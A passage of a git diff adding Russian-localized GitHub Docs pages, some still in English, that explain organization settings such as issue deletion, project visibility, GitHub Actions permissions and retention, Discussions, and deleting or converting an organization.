смогут использовать {% data variables.product.prodname_oauth_apps %} для своих личных учетных записей, обеспечивая при этом надежную защиту данных организации.' +redirect_from: + - /articles/restricting-access-to-your-organization-s-data + - /articles/restricting-access-to-your-organizations-data + - /github/setting-up-and-managing-organizations-and-teams/restricting-access-to-your-organizations-data + - /organizations/restricting-access-to-your-organizations-data +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams +children: + - /about-oauth-app-access-restrictions + - /enabling-oauth-app-access-restrictions-for-your-organization + - /disabling-oauth-app-access-restrictions-for-your-organization + - /approving-oauth-apps-for-your-organization + - /denying-access-to-a-previously-approved-oauth-app-for-your-organization +shortTitle: Manage OAuth access +ms.openlocfilehash: ea988243b836512d8a28875c4928d185b85565c0 +ms.sourcegitcommit: d697e0ea10dc076fd62ce73c28a2b59771174ce8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/20/2022 +ms.locfileid: '148098535' +--- + diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md new file mode 100644 index 000000000000..4fcc9475d4f7 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/allowing-people-to-delete-issues-in-your-organization.md @@ -0,0 +1,27 @@ +--- +title: Allowing people to delete issues in your organization +intro: Organization owners can allow certain people to delete issues in repositories owned by your organization. +redirect_from: + - /articles/allowing-people-to-delete-issues-in-your-organization + - /github/setting-up-and-managing-organizations-and-teams/allowing-people-to-delete-issues-in-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Allow issue deletion +--- + +By default, issues cannot be deleted in an organization's repositories. An organization owner must enable this feature for all of the organization's repositories first. + +Once enabled, organization owners and people with admin access in an organization-owned repository can delete issues. People with admin access in a repository include organization members and outside collaborators who were given admin access. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" and "[Deleting an issue](/articles/deleting-an-issue)." + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.member-privileges %} +5. Under "Issue deletion", select **Allow members to delete issues for this organization**. +![Checkbox to allow people to delete issues](/assets/images/help/settings/issue-deletion.png) +6. Click **Save**. diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/allowing-project-visibility-changes-in-your-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/allowing-project-visibility-changes-in-your-organization.md new file mode 100644 index 000000000000..3590c1c317b7 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/allowing-project-visibility-changes-in-your-organization.md @@ -0,0 +1,40 @@ +--- +title: Разрешение изменения видимости проекта в организации +intro: 'Владельцы организации могут разрешить участникам с разрешениями администратора настроить видимость {% data variables.projects.projects_v2_and_v1 %} в своей организации.' +versions: + feature: classic-project-visibility-permissions-or-projects-v2 +topics: + - Organizations + - Projects +shortTitle: Project visibility permissions +allowTitleToDifferFromFilename: true +permissions: 'Organization owners can allow {% data variables.projects.project_v2_and_v1 %} visibility changes for an organization.' +ms.openlocfilehash: 5f8963e8c03e2c0a62586964b6331ec7b3d945b5 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109536' +--- +## Сведения об изменениях видимости для проектов + +Вы можете ограничить доступ к изменению видимости {% data variables.projects.projects_v2_and_v1 %} в организации, например запретить участникам изменять состояние {% data variables.projects.projects_v2_and_v1 %} с частного на общедоступное. + +Вы можете предоставить возможность изменять видимость {% data variables.projects.project_v2_and_v1 %} только владельцам организации или любому пользователю с административными правами доступа. + +{% ifversion project-visibility-policy %} Этот параметр может быть недоступен, если владелец предприятия ограничивает изменение видимости для {% data variables.projects.projects_v2_and_v1 %} на корпоративном уровне. Дополнительные сведения см. в разделе [Применение политик для проектов на вашем предприятии](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise). +{% endif %} + +## Разрешение участникам изменять видимость проекта + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. В разделе "Планирование и автоматизация кода" на боковой панели щелкните **{% octicon "table" aria-label="The table icon" %} Проекты**. +1. Чтобы разрешить участникам настраивать видимость проекта, выберите **Разрешить участникам изменять видимость проекта для этой организации**. + ![Снимок экрана: флажок для настройки изменений видимости](/assets/images/help/projects-v2/visibility-change-checkbox.png) +1. Выберите команду **Сохранить**. + +## Дополнительные материалы + +{% ifversion projects-v2 %} +- [Управление видимостью {% data variables.projects.projects_v2 %}](/issues/planning-and-tracking-with-projects/managing-your-project/managing-visibility-of-your-projects) {%- endif %}{%- ifversion projects-v1 %} +- [Изменение видимости {% data variables.product.prodname_project_v1 %}](/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility) {% endif %} diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md b/translations/ru-RU/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md new file mode 100644 index 000000000000..861a04e33b61 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md @@ -0,0 +1,26 @@ +--- +title: Changing the visibility of your organization's dependency insights +intro: You can allow all organization members to view dependency insights for your organization or limit viewing to organization owners. +redirect_from: + - /articles/changing-the-visibility-of-your-organizations-dependency-insights + - /github/setting-up-and-managing-organizations-and-teams/changing-the-visibility-of-your-organizations-dependency-insights +versions: + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Change insight visibility +--- + +Organization owners can set limitations for viewing organization dependency insights. All members of an organization can view organization dependency insights by default. + +{% ifversion ghec %} +Enterprise owners can set limitations for viewing organization dependency insights on all organizations in your enterprise account. For more information, see "[Enforcing policies for dependency insights in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)." +{% endif %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.member-privileges %} +5. Under "Member organization permissions", select or unselect **Allow members to view dependency insights**. +![Checkbox to allow members to view insights](/assets/images/help/organizations/allow-members-to-view-insights.png) +6. Click **Save**. diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization.md new file mode 100644 index 000000000000..c6e61021987f --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization.md @@ -0,0 +1,24 @@ +--- +title: Configuring the retention period for GitHub Actions artifacts and logs in your organization +intro: 'You can configure the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your organization.' +redirect_from: + - /github/setting-up-and-managing-organizations-and-teams/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Configure retention period +--- + +{% data reusables.actions.about-artifact-log-retention %} + +## Setting the retention period for an organization + +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.org_settings %} +{% data reusables.organizations.settings-sidebar-actions-general %} +{% data reusables.actions.change-retention-period-for-artifacts-logs %} diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/converting-an-organization-into-a-user.md b/translations/ru-RU/content/organizations/managing-organization-settings/converting-an-organization-into-a-user.md new file mode 100644 index 000000000000..bf33bdcb50ee --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/converting-an-organization-into-a-user.md @@ -0,0 +1,48 @@ +--- +title: Преобразование организации в пользователя +intro: 'Преобразовать организацию в личную учетную запись нельзя, но вы можете создать личную учетную запись и перенести в нее репозитории организации.' +redirect_from: + - /articles/converting-an-organization-into-a-user + - /github/setting-up-and-managing-organizations-and-teams/converting-an-organization-into-a-user +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Convert organization to user +ms.openlocfilehash: ef6baa2db188570476ee36d5f6932a87d615d2ec +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145149806' +--- +{% ifversion fpt or ghec %} + +{% note %} + +**Примечание.** После удаления учетной записи имя пользователя на момент удаления становится недоступным для повторного использования в течение 90 дней. Чтобы сразу же повторно использовать имя пользователя организации, необходимо изменить имя пользователя перед удалением организации. + + {% endnote %} + +1. [Зарегистрируйтесь](/articles/signing-up-for-a-new-github-account), чтобы создать учетную запись в GitHub. +2. [Измените роль пользователя на "Владелец"](/articles/changing-a-person-s-role-to-owner). +3. {% data variables.product.signin_link %} в новую личную учетную запись. +4. [Перенесите каждый репозиторий организации](/articles/how-to-transfer-a-repository) в новую личную учетную запись. +5. [Переименуйте организацию](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username), чтобы сделать текущее имя пользователя доступным. +6. [Переименуйте пользователя](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username), присвоив ему имя организации. +7. [Удаление организации](/organizations/managing-organization-settings/deleting-an-organization-account). + + +{% else %} + +1. Зарегистрируйтесь, чтобы создать личную учетную запись GitHub Enterprise. +2. [Измените роль пользователя на "Владелец"](/articles/changing-a-person-s-role-to-owner). +3. {% data variables.product.signin_link %} в новую личную учетную запись. +4. [Перенесите каждый репозиторий организации](/articles/how-to-transfer-a-repository) в новую личную учетную запись. +5. [Удаление организации](/articles/deleting-an-organization-account). +6. [Переименуйте пользователя](/articles/changing-your-github-username), присвоив ему имя организации. + +{% endif %} diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/deleting-an-organization-account.md b/translations/ru-RU/content/organizations/managing-organization-settings/deleting-an-organization-account.md new file mode 100644 index 000000000000..88ff35d2d980 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/deleting-an-organization-account.md @@ -0,0 +1,44 @@ +--- +title: Deleting an organization account +intro: 'When you delete an organization, all repositories, forks of private repositories, wikis, issues, pull requests, and Project or Organization Pages are deleted as well. {% ifversion fpt or ghec %}Your billing will end, and after 90 days the organization name becomes available for use on a new user or organization account.{% endif %}' +redirect_from: + - /articles/deleting-an-organization-account + - /github/setting-up-and-managing-organizations-and-teams/deleting-an-organization-account +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Delete organization +--- + +{% ifversion fpt or ghec %} +{% tip %} + +**Tip**: If you want to cancel your paid subscription, you can [downgrade your organization to {% data variables.product.prodname_free_team %}](/articles/downgrading-your-github-subscription) instead of deleting the organization and its content. + +{% endtip %} + +{% endif %} + +## 1. Back up your organization content + +{% ifversion not ghes %} After you delete an organization, {% data variables.product.company_short %} **cannot restore your content**. Therefore, before{% else %}Before{% endif %} you delete your organization, make sure you have a copy of all repositories, wikis, issues, and project boards from the account. + +{% ifversion ghes %} +{% note %} + +**Note:** If necessary, a site administrator for {% data variables.location.product_location %} may be able to partially restore a deleted organization. For more information, see "[Restoring a deleted organization](/admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization)." + +{% endnote %} +{% endif %} + +## 2. Delete the organization + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +4. Near the bottom of the organization's settings page, click **Delete this Organization**. + ![Delete this organization button](/assets/images/help/settings/settings-organization-delete.png) diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/disabling-insights-for-projects-in-your-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/disabling-insights-for-projects-in-your-organization.md new file mode 100644 index 000000000000..bd7aad52c256 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/disabling-insights-for-projects-in-your-organization.md @@ -0,0 +1,32 @@ +--- +title: 'Отключение аналитических сведений для {% data variables.projects.projects_v2 %} в организации' +intro: 'Владельцы организации могут отключить аналитические сведения для {% data variables.product.prodname_projects_v2 %} в своей организации.' +versions: + feature: projects-v2 +product: '{% data reusables.gated-features.historical-insights-for-projects %}' +topics: + - Projects +shortTitle: 'Disable {% data variables.product.prodname_projects_v2 %} insights' +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 80a35ea28d90b89c39fb7f9207b2ea950a98a8b6 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108830' +--- +После отключения аналитических сведений для проектов в организации невозможно получить доступ к аналитическим сведениям для любых проектов, принадлежащих организации. + + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. На боковой панели щелкните **{% octicon "sliders" aria-label="The sliders icon" %} Возможности**. + ![Снимок экрана: пункт меню "Возможности"](/assets/images/help/projects-v2/features-org-menu.png) +1. В разделе "Аналитические сведения" отмените выбор **Включить аналитические сведения для организации**. + ![Снимок экрана: флажок "Включить аналитические сведения для организации"](/assets/images/help/projects-v2/disable-insights-checkbox.png) +1. Выберите команду **Сохранить**. + ![Снимок экрана: кнопка "Сохранить"](/assets/images/help/projects-v2/disable-insights-save.png) + +## Дополнительные материалы + +- [Сведения о {% data variables.product.prodname_projects_v2 %}](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects) +- [Об аналитических сведениях для {% data variables.projects.projects_v2 %}](/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/about-insights-for-projects) diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md new file mode 100644 index 000000000000..fa245c2915d3 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md @@ -0,0 +1,190 @@ +--- +title: Disabling or limiting GitHub Actions for your organization +intro: 'Organization owners can disable, enable, and limit GitHub Actions for an organization.' +redirect_from: + - /github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Disable or limit actions +miniTocMaxHeadingLevel: 3 +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About {% data variables.product.prodname_actions %} permissions for your organization + +{% data reusables.actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)." + +You can enable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.actions.disabled-actions-description %} + +Alternatively, you can enable {% data variables.product.prodname_actions %} for all repositories in your organization but limit the actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} a workflow can run. + +## Managing {% data variables.product.prodname_actions %} permissions for your organization + +You can choose to disable {% data variables.product.prodname_actions %} for all repositories in your organization, or only allow specific repositories. You can also limit the use of public actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}, so that people can only use local actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} that exist in your {% ifversion ghec or ghes or ghae %}enterprise{% else %}organization{% endif %}. + +{% note %} + +**Note:** You might not be able to manage these settings if your organization is managed by an enterprise that has overriding policy. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)." + +{% endnote %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.settings-sidebar-actions-general %} +1. Under "Policies", select an option. + + {% indented_data_reference reusables.actions.actions-use-policy-settings spaces=3 %} + + {% ifversion actions-workflow-policy %} + ![Set actions policy for this organization](/assets/images/help/organizations/actions-policy-with-workflows.png) + {%- else %} + ![Set actions policy for this organization](/assets/images/help/organizations/actions-policy.png) + {%- endif %} +1. Click **Save**. + +{% data reusables.actions.allow-specific-actions-intro %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.settings-sidebar-actions-general %} +1. Under "Policies", select {% data reusables.actions.policy-label-for-select-actions-workflows %} and add your required actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} to the list. + + {% ifversion actions-workflow-policy %} + ![Add actions and reusable workflows to the allow list](/assets/images/help/organizations/actions-policy-allow-list-with-workflows.png) + {%- elsif ghes %} + ![Add actions to the allow list](/assets/images/help/organizations/actions-policy-allow-list.png) + {%- else %} + ![Add actions to the allow list](/assets/images/enterprise/github-ae/organizations/actions-policy-allow-list.png) + {%- endif %} +1. Click **Save**. + +{% ifversion fpt or ghec %} +## Configuring required approval for workflows from public forks + +{% data reusables.actions.workflow-run-approve-public-fork %} + +You can configure this behavior for an organization using the procedure below. Modifying this setting overrides the configuration set at the enterprise level. + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.settings-sidebar-actions-general %} +{% data reusables.actions.workflows-from-public-fork-setting %} + +{% data reusables.actions.workflow-run-approve-link %} +{% endif %} + +{% ifversion fpt or ghes or ghec %} +## Enabling workflows for private repository forks + +{% data reusables.actions.private-repository-forks-overview %} + +{% ifversion ghec or ghae or ghes %}If a policy is disabled for an enterprise, it cannot be enabled for organizations.{% endif %} If a policy is disabled for an organization, it cannot be enabled for repositories. If an organization enables a policy, the policy can be disabled for individual repositories. + +{% data reusables.actions.private-repository-forks-options %} + +### Configuring the private fork policy for an organization + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.settings-sidebar-actions-general %} +{% data reusables.actions.private-repository-forks-configure %} +{% endif %} + +## Setting the permissions of the `GITHUB_TOKEN` for your organization + +{% data reusables.actions.workflow-permissions-intro %} + +You can set the default permissions for the `GITHUB_TOKEN` in the settings for your organization or your repositories. If you select a restrictive option as the default in your organization settings, the same option is selected in the settings for repositories within your organization, and the permissive option is disabled. If your organization belongs to a {% data variables.product.prodname_enterprise %} account and a more restrictive default has been selected in the enterprise settings, you won't be able to select the more permissive default in your organization settings. + +{% data reusables.actions.workflow-permissions-modifying %} + +### Configuring the default `GITHUB_TOKEN` permissions + +{% ifversion allow-actions-to-approve-pr-with-ent-repo %} +By default, when you create a new organization, `GITHUB_TOKEN` only has read access for the `contents` scope. +{% endif %} + +{% data reusables.profile.access_profile %} +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.settings-sidebar-actions-general %} +1. Under "Workflow permissions", choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope. + + {% ifversion allow-actions-to-approve-pr %} + {% ifversion allow-actions-to-approve-pr-with-ent-repo %} + ![Set GITHUB_TOKEN permissions for this organization](/assets/images/help/settings/actions-workflow-permissions-organization-with-pr-creation-approval.png) + {% else %} + ![Set GITHUB_TOKEN permissions for this organization](/assets/images/help/settings/actions-workflow-permissions-organization-with-pr-approval.png) + {% endif %} + {% else %} + ![Set GITHUB_TOKEN permissions for this organization](/assets/images/help/settings/actions-workflow-permissions-organization-with-pr-approval.png) + {% endif %} +1. Click **Save** to apply the settings. + +{% ifversion allow-actions-to-approve-pr %} +### Preventing {% data variables.product.prodname_actions %} from {% ifversion allow-actions-to-approve-pr-with-ent-repo %}creating or {% endif %}approving pull requests + +{% data reusables.actions.workflow-pr-approval-permissions-intro %} + +By default, when you create a new organization, workflows are not allowed to {% ifversion allow-actions-to-approve-pr-with-ent-repo %}create or {% endif %}approve pull requests. + +{% data reusables.profile.access_profile %} +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.settings-sidebar-actions-general %} +1. Under "Workflow permissions", use the **Allow GitHub Actions to {% ifversion allow-actions-to-approve-pr-with-ent-repo %}create and {% endif %}approve pull requests** setting to configure whether `GITHUB_TOKEN` can {% ifversion allow-actions-to-approve-pr-with-ent-repo %}create and {% endif %}approve pull requests. + + {% ifversion allow-actions-to-approve-pr %} + {% ifversion allow-actions-to-approve-pr-with-ent-repo %} + ![Set GITHUB_TOKEN pull request approval permission for this organization](/assets/images/help/settings/actions-workflow-permissions-organization-with-pr-creation-approval.png) + {% else %} + ![Set GITHUB_TOKEN pull request approval permission for this organization](/assets/images/help/settings/actions-workflow-permissions-organization-with-pr-approval.png) + {% endif %} + {% else %} + ![Set GITHUB_TOKEN pull request approval permission for this organization](/assets/images/help/settings/actions-workflow-permissions-organization.png) + {% endif %} +1. Click **Save** to apply the settings. + +{% endif %} + +{% ifversion actions-cache-org-ui %} + +## Managing {% data variables.product.prodname_actions %} cache storage for your organization + +Organization administrators can view {% ifversion actions-cache-admin-ui %}and manage {% endif %}{% data variables.product.prodname_actions %} cache storage for all repositories in the organization. + +### Viewing {% data variables.product.prodname_actions %} cache storage by repository + +For each repository in your organization, you can see how much cache storage a repository is using, the number of active caches, and if a repository is near the total cache size limit. For more information about the cache usage and eviction process, see "[Caching dependencies to speed up workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows#usage-limits-and-eviction-policy)." + +{% data reusables.profile.access_profile %} +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +1. In the left sidebar, click {% octicon "play" aria-label="The {% data variables.product.prodname_actions %} icon" %} **Actions**, then click **Caches**. +1. Review the list of repositories for information about their {% data variables.product.prodname_actions %} caches. You can click on a repository name to see more detail about the repository's caches. + +{% ifversion actions-cache-admin-ui %} + +### Configuring {% data variables.product.prodname_actions %} cache storage for your organization + +{% data reusables.actions.cache-default-size %} + +You can configure the size limit for {% data variables.product.prodname_actions %} caches that will apply to each repository in your organization. The cache size limit for an organization cannot exceed the cache size limit set in the enterprise policy. Repository admins will be able to set a smaller limit in their repositories. + +{% data reusables.profile.access_profile %} +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.settings-sidebar-actions-general %} +{% data reusables.actions.change-cache-size-limit %} + +{% endif %} + +{% endif %} diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/disabling-project-boards-in-your-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/disabling-project-boards-in-your-organization.md new file mode 100644 index 000000000000..86b75c4cd62b --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/disabling-project-boards-in-your-organization.md @@ -0,0 +1,45 @@ +--- +title: 'Disabling {% ifversion projects-v2 %}projects{% else %}project boards{% endif %} in your organization' +intro: 'Organization owners can turn off {% ifversion projects-v2 %}organization-wide {% data variables.projects.projects_v2 %}, organization-wide {% data variables.projects.projects_v1_boards %}, and repository-level {% data variables.projects.projects_v1_boards %}{% else %}organization-wide project boards and repository project boards{% endif %} in an organization.' +redirect_from: + - /github/managing-your-work-on-github/managing-project-boards/disabling-project-boards-in-your-organization + - /articles/disabling-project-boards-in-your-organization + - /github/managing-your-work-on-github/disabling-project-boards-in-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Disable projects +allowTitleToDifferFromFilename: true +--- +After you disable organization-wide project boards, it won’t be possible to create new project boards at the organization level, and any existing organization-level project boards will become inaccessible at their previous URLs. Project boards in repositories in the organization are not affected. {% ifversion projects-v2 %}These settings apply to {% data variables.projects.projects_v2 %} and {% data variables.projects.projects_v1_boards %}.{% endif %} + +After you disable repository project boards in an organization, it won't be possible to create new project boards in any repositories in the organization, and any existing project boards in repositories in the organization will become inaccessible at their previous URLs. Project boards at the organization level are not affected. + + +When you disable project boards, you will no longer see project board information in timelines or [audit logs](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization). + + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Code planning, and automation" section of the sidebar, click **{% octicon "table" aria-label="The table icon" %} Projects**. +{% endif %} +1. Decide whether to disable organization-wide project boards, disable repository project boards in the organization, or both. Then, under "Projects": + - To disable organization-wide project boards, unselect **Enable projects for the organization**. + - To disable repository project boards in the organization, unselect **Enable projects for all repositories**. + ![Checkboxes to disable projects for an organization or for all of an organization's repositories](/assets/images/help/projects/disable-org-projects-checkbox.png) +1. Click **Save**. + +{% data reusables.organizations.disable_project_board_results %} + +## Further reading + +{% ifversion projects-v2 %}- "[About {% data variables.product.prodname_projects_v2 %}](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects)"{% endif %} +- "[About {% data variables.product.prodname_projects_v1 %}](/articles/about-project-boards)" +- "[Closing a {% data variables.projects.projects_v1_board %}](/articles/closing-a-project-board)" +- "[Deleting a {% data variables.projects.projects_v1_board %}](/articles/deleting-a-project-board)" +- "[Disabling {% data variables.projects.projects_v1_boards %} in a repository](/articles/disabling-project-boards-in-a-repository)" diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization.md b/translations/ru-RU/content/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization.md new file mode 100644 index 000000000000..997d2175d95d --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization.md @@ -0,0 +1,31 @@ +--- +title: Включение или отключение обсуждений GitHub для организации +intro: '{% data variables.product.prodname_discussions %} можно использовать для организации как место для бесед, которые не относятся к одному репозиторию в организации.' +permissions: 'Organization owners can enable {% data variables.product.prodname_discussions %} for their organization.' +versions: + feature: discussions +topics: + - Organizations +shortTitle: Organization discussions +ms.openlocfilehash: 618a91482e1856e5e4c8fdfa9ff6ce64b997912f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147710182' +--- +## Сведения об обсуждениях в организации + +{% data reusables.discussions.about-organization-discussions %} + +Можно также управлять обсуждениями репозитория. Дополнительные сведения см. в разделах [Включение или отключение GitHub Discussions для репозитория](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/enabling-or-disabling-github-discussions-for-a-repository) и [Управление созданием обсуждений для репозиториев в организации](/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization). + +## Включение или отключение {% data variables.product.prodname_discussions %} для организации + +{% data reusables.discussions.enabling-or-disabling-github-discussions-for-your-organization %} +1. Чтобы отключить обсуждения, в разделе "Обсуждения" снимите флажок **Включить обсуждения для этой организации**. + +## Дополнительные материалы + +- [Сведения об обсуждениях](/discussions/collaborating-with-your-community-using-discussions/about-discussions) +- [Управление обсуждениями для сообщества](/discussions/managing-discussions-for-your-community) diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/index.md b/translations/ru-RU/content/organizations/managing-organization-settings/index.md new file mode 100644 index 000000000000..4b3ce73435df --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-organization-settings/index.md @@ -0,0 +1,55 @@ +--- +title: Управление параметрами организации +intro: 'Администраторы организации могут изменять несколько параметров, включая имена репозиториев, принадлежащих организации, и членство в команде владельцев. Кроме того, администраторы организации могут удалить организацию и все ее репозитории.' +redirect_from: + - /articles/managing-organization-settings + - /github/setting-up-and-managing-organizations-and-teams/managing-organization-settings +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +children: + - /verifying-or-approving-a-domain-for-your-organization + - /renaming-an-organization + - /transferring-organization-ownership + - /restricting-repository-creation-in-your-organization + - /setting-permissions-for-deleting-or-transferring-repositories + - /restricting-repository-visibility-changes-in-your-organization + - /managing-the-forking-policy-for-your-organization + - /managing-pull-request-reviews-in-your-organization + - /disabling-or-limiting-github-actions-for-your-organization + - /configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization + - /setting-permissions-for-adding-outside-collaborators + - /allowing-people-to-delete-issues-in-your-organization + - /enabling-or-disabling-github-discussions-for-an-organization + - /managing-discussion-creation-for-repositories-in-your-organization + - /managing-the-commit-signoff-policy-for-your-organization + - /setting-team-creation-permissions-in-your-organization + - /limiting-oauth-app-and-github-app-access-requests + - /managing-scheduled-reminders-for-your-organization + - /managing-the-default-branch-name-for-repositories-in-your-organization + - /managing-default-labels-for-repositories-in-your-organization + - /changing-the-visibility-of-your-organizations-dependency-insights + - /managing-the-display-of-member-names-in-your-organization + - /managing-updates-from-accounts-your-organization-sponsors + - /managing-the-publication-of-github-pages-sites-for-your-organization + - /deleting-an-organization-account + - /converting-an-organization-into-a-user + - /integrating-jira-with-your-organization-project-board + - /upgrading-to-the-corporate-terms-of-service + - /disabling-project-boards-in-your-organization + - /disabling-insights-for-projects-in-your-organization + - /allowing-project-visibility-changes-in-your-organization +shortTitle: Manage organization settings +ms.openlocfilehash: d19c515ac3d908df15afd8c5741553f7526a6f99 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148008714' +--- +{% ifversion fpt or ghec %} {% endif %} diff --git a/translations/ru-RU/content/organizations/managing-organization-settings/integrating-jira-with-your-organization-project-board.md b/translations/ru-RU/content/organizations/managing-organization-settings/integrating-jira-with-your-organization-project-board.md new file mode 100644 index 000000000000..98f6bf0f5be9 --- /dev/null +++ 